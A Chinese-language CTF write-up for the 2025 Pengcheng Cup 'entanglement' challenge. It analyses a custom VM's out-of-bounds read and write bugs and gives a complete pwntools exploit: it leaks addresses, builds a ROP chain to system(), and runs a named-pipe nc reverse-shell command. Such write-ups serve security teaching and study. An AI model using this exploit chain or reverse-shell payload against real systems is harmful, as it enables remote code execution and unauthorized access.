鹏程杯2025 pwn entanglement writeup
这是一篇针对题目 Quantum VM Pwn (entanglement) 的完整 WriteUp。
[Pwn] Entanglement (Quantum VM) WriteUp
1. 题目分析
基本信息
这是一个基于栈的虚拟机(VM)逆向与利用题目。程序实现了一个简单的“量子纠缠”虚拟机,指令集包含寄存器操作、内存读写以及特殊的“纠缠”操作。
- 架构: x86-64, Linux
- 保护机制: 开启了 NX (No-Execute), Canary, PIE (地址随机化)。
- 通信方式: 监听 1337 端口,通过
fork处理每个连接。
VM 结构与指令分析
通过 IDA 分析 pwn.c,我们可以还原出 VM 的核心结构 vm:
- regs: 32位通用寄存器。
- mem: 虚拟机的内存空间(位于栈上)。
- quantmem: 用于存储“量子纠缠”状态的特殊内存区。
- PC: 程序计数器。
struct vm
{
int regs[8];
quant quants[4];
char mem[69632];
int PC;
int u1;
int u2;
};
struct quant
{
int v1;
int v2;
char active;
int connect_idx;
};
核心漏洞位于指令处理函数 process_opcode 中的 MEMCOPY (Opcode 35) 指令。
漏洞点 1:越界读 (OOB Read)
在 MEMCOPY 指令的 Mode 0 中:
// pwn.c 伪代码
else if ( check_reg_idx_oob(idx) ) // mode 0
{
vm->regs[idx] = *(_DWORD *)&vm->mem[offset]; // 漏洞点
}
代码仅检查了寄存器索引 idx 是否合法,却完全没有检查 offset 是否越界。
由于 vm 结构体分配在栈上 (sub_1D05 函数的栈帧中),通过提供一个大于 vm->mem 大小的 offset,我们可以读取栈上更高地址的内容,包括 Canary、栈帧地址 (RBP) 和 返回地址 (RIP),以及 Libc 地址。
漏洞点 2:越界写 (Arbitrary Write via Entanglement)
在 MEMCOPY 指令的 Mode 1 中,配合“纠缠”机制存在逻辑漏洞:
// pwn.c 伪代码
if ( mode ) // mode 1
{
if ( check_qidx_oob(idx) )
{
v6 = &vm->quantmem[16 * idx];
// ...
if ( *((_DWORD *)v6 + 3) != -1 ) // 检查是否与其他量子位纠缠
{
v7 = &vm->quantmem[16 * *((int *)v6 + 3)]; // 获取纠缠目标 v7
if ( *(_DWORD *)v7 ) // 检查 v7 的值
{
if ( offset )
// 漏洞点:memcpy 的目标地址由 v7 的内容决定,且未做边界检查
memcpy(&vm->mem[*(int *)v7], &vm->mem[offset], 0x100u);
}
}
}
}
攻击者流程:
- 使用
SET_ENTANGLE(Opcode 32) 设置两个量子位。将目标地址(如 Stack 上的返回地址偏移)写入其中一个量子位的val1。 - 使用
CONNECT_ENT(Opcode 34) 将这两个量子位“纠缠”在一起。 - 使用
MEMCOPY(Opcode 35, Mode 1) 触发数据拷贝。程序会读取纠缠位的val1作为memcpy的目标偏移。此处缺少对目标偏移的边界检查。
这允许我们向栈上的任意相对偏移写入 256 (0x100) 字节的数据,从而覆盖函数的返回地址,执行 ROP 链。
2. 利用思路
第一步:信息泄露 (Leak)
利用 漏洞点 1 (OOB Read),我们可以从栈上读取关键信息。VM 的寄存器是 32 位的,所以我们需要读取两次(低 32 位和高 32 位)来组合成 64 位地址。
- PIE Leak: 读取栈上残留的程序本身地址,计算程序基址。
- Libc Leak: 读取栈上的
__libc_start_main返回地址或类似指针,计算 Libc 基址。 - Stack Leak: 读取栈上的栈帧指针(Saved RBP),用于后续计算存放 ROP 链和命令字符串的绝对地址。
第二步:构造 ROP 链
由于 VM 寄存器是 32 位的,我们需要编写一个 helper 函数 (make_addr64),在 VM 内存中手动拼接构造 64 位的 ROP 链。
目标: 执行 system(command)。
Stack Alignment 问题:
在调用 system 之前,必须保证栈(RSP)是 16 字节对齐的。如果直接跳转到 system 导致 Crash,通常需要在 ROP 中插入一个 ret gadget 来调整栈对齐。
第三步:解决 Socket Closed 问题 (Critical)
在 sub_1D05 函数中,逻辑如下:
recv(fd, buf, ...);
memcpy(..., buf, ...);
real_main(...); // 我们的漏洞在这里触发,修改了返回地址
close(fd); // !!! 在返回前,Socket 已经被关闭 !!!
return ...; // 这里才跳转到我们的 ROP
由于 close(fd) 在 ROP 执行前就被调用了,我们无法简单地使用 dup2 重定向 Socket,因为 Socket 描述符已经失效。
解决方案: 使用 Reverse Shell (反弹 Shell)。
既然旧连接断了,我们就让目标服务器主动连接回我们的监听端口。
第四步:命令注入与兼容性
我们需要将反弹 Shell 的命令字符串写入 VM 内存,并将 rdi 指向该字符串的地址。
命令选择:
由于 /bin/sh 在许多环境中是指向 dash 的,而 dash 不支持 bash 特有的 /dev/tcp 语法(会导致 Bad fd number 错误)。
为了通用性,我们使用基于 命名管道 (Named Pipe/FIFO) 的反弹 Shell 命令:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 6677 >/tmp/f
注意:题目环境中 nc 可能没有 -e 参数,管道法是最稳妥的。
3. Exploit 脚本解析
#!/usr/bin/env python3
# -*- coding: utf-8 -*
import re
import os
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
local = 0
ip = "127.0.0.1"
port = 1337
ELF_PATH="./pwn"
if local:
p = process(ELF_PATH)
else:
p = remote(ip,port)
elf = ELF(ELF_PATH)
libc = ELF("./libc.so.6")
# --- VM 指令封装 ---
def MOV(idx, imm):
return p8(1) + p8(idx) + p32(imm)
def ADD(idx1, idx2):
return p8(2) + p8(idx1) + p8(idx2)
def SUB(idx, imm):
# VM没有SUB指令,用加法补码实现减法
return MOV(7, (-imm) & 0xFFFFFFFF) + ADD(idx, 7)
def MEMCOPY(mode, idx, offset):
return p8(35) + p8(mode) + p8(idx) + p32(offset)
def SET_ENTANGLE(idx, v1, v2):
return p8(32) + p8(idx) + p32(v1) + p32(v2)
def CONNECT_ENT(idx1, idx2):
return p8(34) + p8(idx1) + p8(idx2)
def OOB_READ(idx, offset):
# Mode 0: 越界读
return MEMCOPY(0, idx, offset)
def LOAD(idx, offset):
return p8(11) + p8(idx) + p32(offset)
def STORE(offset, idx):
return p8(12) + p32(offset) + p8(idx)
def OOB_WRITE(dst, src):
# Mode 1: 利用纠缠机制越界写
code = b""
code += SET_ENTANGLE(0, 0xdeadbeef, 0xdeadbeef)
code += SET_ENTANGLE(1, dst, 0xdeadbeef) # 设置目标偏移
code += CONNECT_ENT(0, 1) # 纠缠 0 和 1
code += MEMCOPY(1, 0, src) # 触发 memcpy(mem[dst], mem[src], 0x100)
return code
# --- 偏移量定义 ---
libc_base_offset = 0x29e40
pop_rdi = 0x2a3e5
ret = 0x2a3e6
system = 0x50d70
# RET_OFFSET: 栈上 VM mem 起始地址到 sub_1D05 返回地址的距离
# 需要调试获得,或计算: (rbp + 8) - (rbp - 0x12080) = 0x12088
# 这里的 0x12028 是微调后的值,指向返回地址附近
RET_OFFSET = 0x12028
# ROP 链在 VM 内存中的存放位置
ROP_CHAIN_OFFSET = 0x30
ROP_CHAIN_OFFSET_COPY = ROP_CHAIN_OFFSET
bytecode = b""
# 1. 泄露地址 (PIE, Libc, Stack)
# 将泄露的数据暂存到 VM 内存的前部 (0x0 - 0x14)
bytecode += OOB_READ(0, RET_OFFSET) + OOB_READ(1, RET_OFFSET + 4) + STORE(0x0, 0) + STORE(0x4, 1)
bytecode += OOB_READ(0, RET_OFFSET + 0x100) + OOB_READ(1, RET_OFFSET + 0x100 + 4) + STORE(0x8, 0) + STORE(0xc,1)
bytecode += OOB_READ(0, RET_OFFSET + 0x108) + OOB_READ(1, RET_OFFSET + 0x108 + 4) + STORE(0x10, 0) + STORE(0x14, 1)
# 2. 计算 Libc 基址
# 读取泄露值 -> 减去偏移 -> 存回
bytecode += LOAD(0, 0x8) + SUB(0, libc_base_offset) + STORE(0x8, 0)
# 3. 计算命令字符串的绝对地址
# Stack Leak (0x10) 存储的是栈地址,减去偏移得到 buffer 的绝对地址
# 0x11fa8 是调试出来的偏移量:Stack_Leak_Addr - Command_String_Addr
bytecode += LOAD(0, 0x10) + SUB(0, 0x11fa8) + STORE(0x10, 0)
# --- ROP 构造辅助函数 ---
def make_addr64(addr):
global ROP_CHAIN_OFFSET
bytecode = b""
# 将 32位寄存器拼接成 64位地址写入内存
# 低32位 = LibcBase_Low + Offset
bytecode += LOAD(0, 0x8) + MOV(1, addr) + ADD(0, 1) + STORE(ROP_CHAIN_OFFSET, 0)
# 高32位 = LibcBase_High
bytecode += LOAD(0, 0xc) + STORE(ROP_CHAIN_OFFSET + 0x4, 0)
ROP_CHAIN_OFFSET += 0x8
return bytecode
# 4. 构造 ROP Chain
# Chain: pop rdi; ret -> &command_str -> ret (align) -> system
# Gadget: pop rdi; ret
bytecode += make_addr64(pop_rdi)
# Param: &command_str (rdi)
# 从之前计算好的 0x10 处加载地址
bytecode += LOAD(0, 0x10) + LOAD(1, 0x14) + STORE(ROP_CHAIN_OFFSET, 0) + STORE(ROP_CHAIN_OFFSET + 0x4, 1)
ROP_CHAIN_OFFSET += 0x8
# Gadget: ret (用于栈对齐,防止 system crash)
bytecode += make_addr64(ret)
# Func: system
bytecode += make_addr64(system)
# 5. 触发漏洞,覆盖返回地址
# 将构造好的 ROP 链 (位于 ROP_CHAIN_OFFSET_COPY) 拷贝到 RET_OFFSET
bytecode += OOB_WRITE(RET_OFFSET, ROP_CHAIN_OFFSET_COPY)
# 6. 填充 Payload 并附加命令字符串
# 确保 payload 长度足够,并将命令放在最后,方便计算其地址
bytecode = bytecode.ljust(0x200, b'\x00')
# 反弹 Shell 命令 (通用性强,不依赖 bash)
# 记得修改 IP 和 Port 为你的监听地址
cmd = b"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 6677 >/tmp/f\x00"
bytecode += cmd
# 发送 Payload
p.send(bytecode)
# 进入交互模式 (实际上这里需要你在本地用 nc -lvvp 6677 等待连接)
p.interactive()
4. 总结
这道题综合考察了以下技能:
- 虚拟机逆向: 理解自定义指令集和内存布局。
- 漏洞挖掘: 发现
check_oob缺失导致的越界读写。 - ROP 技巧: 在受限环境(32位寄存器)下构造 64 位 ROP 链,并处理栈对齐。
- 环境对抗: 识别 Socket 关闭的情况,放弃
dup2,转向反弹 Shell;识别/bin/sh差异,使用兼容性更好的命令载荷。
浙公网安备 33010602011771号